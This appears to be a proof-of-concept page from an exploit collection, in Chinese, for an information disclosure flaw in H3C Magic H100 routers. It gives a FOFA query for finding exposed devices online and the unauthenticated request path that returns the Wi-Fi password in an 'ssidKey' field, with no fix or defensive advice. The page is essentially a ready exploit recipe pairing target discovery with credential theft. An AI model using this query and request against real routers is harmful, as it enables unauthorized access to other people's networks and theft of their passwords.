POC/wpoc/H3C/H3C-H100/H3C-H100路由器-信息泄露漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

27 lines
991 B
Markdown

# H3C-H100路由器-信息泄露漏洞
# 一、漏洞简介
H3C Magic H100是新华三技术有限公司特别设计的全千兆家庭智能中枢。H3C-H100路由器信息泄露漏洞,可泄露用户泄露密码
# 二、影响版本
+ H3C多系列路由器
# 三、资产测绘
+ fofa`body="/grwizard/h3c.ico"`
+ 登录页面![1713637393108-3b6d8d9c-19f1-4717-92a7-27c6d8d31adb.png](./img/LtjRIrDMAFrjFfcj/1713637393108-3b6d8d9c-19f1-4717-92a7-27c6d8d31adb-323113.png)
# 四、漏洞复现
```java
/h3c/local/ssidName
```
<font style="color:rgba(0, 0, 0, 0.9);">密码就在ssidKey字段</font>
![1713637470972-d19fa597-a666-4004-a47a-025f92a849b7.png](./img/LtjRIrDMAFrjFfcj/1713637470972-d19fa597-a666-4004-a47a-025f92a849b7-813780.png)
![1713637498157-5d0026b7-2372-4d1b-825b-234215c5d89b.png](./img/LtjRIrDMAFrjFfcj/1713637498157-5d0026b7-2372-4d1b-825b-234215c5d89b-491262.png)
> 更新: 2024-04-22 13:29:11
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/ddar0wbuli2xp2n8>